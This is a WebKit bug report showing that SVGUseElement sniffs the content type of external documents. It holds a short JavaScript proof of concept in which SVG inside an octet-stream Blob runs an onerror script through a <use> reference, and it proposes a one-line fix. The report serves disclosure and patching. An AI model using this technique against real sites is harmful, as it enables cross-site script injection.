SVGUseElement sniffs content type when loading external document

[Jun Kokatsu]

PoC:

```
const text = `<svg id="x" xmlns="http://www.w3.org/2000/svg"><image href="xyz" onerror="alert(origin)" /></svg>`;
const blob = new Blob([text], {type: 'application/octet-stream'}); // <- not "image/svg+xml"
const url = URL.createObjectURL(blob);
let attackerControlledString = url + "#x";
const svg=document.createElementNS("http://www.w3.org/2000/svg", "svg");
const use=document.createElementNS("http://www.w3.org/2000/svg", "use");
use.setAttribute('href', attackerControlledString);
svg.appendChild(use);
document.body.appendChild(svg);
```

The above code only loads external SVG from a Blob URL in Webkit. Both Blink and Gecko ignores it due to content type mismatch.

Potential fix is to add the following code after https://github.com/WebKit/WebKit/blob/5c3443a0ab7a7fdeaeeb20c104da59b55de0e265/Source/WebCore/svg/SVGUseElement.cpp#L614.

```
options.sniffContent = ContentSniffingPolicy::DoNotSniffContent;
```

[Radar WebKit Bug Importer]

<rdar://problem/103893082>